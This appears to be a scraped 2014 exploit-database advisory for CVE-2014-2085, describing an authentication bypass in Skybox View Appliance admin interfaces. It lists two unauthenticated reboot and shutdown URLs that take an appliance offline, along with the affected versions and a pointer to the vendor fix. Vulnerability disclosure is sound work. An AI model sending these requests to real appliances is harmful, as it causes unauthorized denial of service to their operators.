扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
# Exploit Title: [SKYBOX Security - DDOS] # Date: [22-Jan-2014] # Exploit Author: [Luigi Vezzoso] # Vendor Homepage: [http://www.skyboxsecurity.com] # Version: [Skybox View Appliances with ISO versions: 6.3.33-2.14, 6.3.31-2.14, 6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57] # Tested on: [Centos 6.4 kernel 2.6.32] # CVE : [CVE-2014-2085] #OVERVIEW A vulnerability has been found in some Skybox View Appliances’ Admin interfaces which would allow a potential malicious party to bypass the authentication mechanism and execute reboot and/or shutdown of appliance self #INTRODUCTION Skybox Security has a complete portfolio of security management tools that deliver the security intelligence needed to act fast to minimize risks and eliminate attack vectors.Based on a powerful risk analytics platform that links data from vulnerability scanners, threat intelligence feeds, firewalls and other network infrastructure devices – Skybox gives you context to prioritize risks accurately and automatically, in minutes. #VULNERABILITY DESCRIPTION It's possible to open and execute the reboot and shutdown script without autentication at the following links: https://1.1.1.1:444/scripts/commands/reboot?_=1111111111 https://1.1.1.1:444/scripts/commands/shutdown?_=1111111111 #VERSIONS AFFECTED Skybox View Appliances with ISO versions: 6.3.33-2.14, 6.3.31-2.14, 6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57 #SOLUTION Please refer to the vendor security advisor: Security Advisory 2014- 3-25-1 #CREDITS Luigi Vezzoso email:luigivezzoso@gmail.com skype:luigivezzoso |
体验盒子
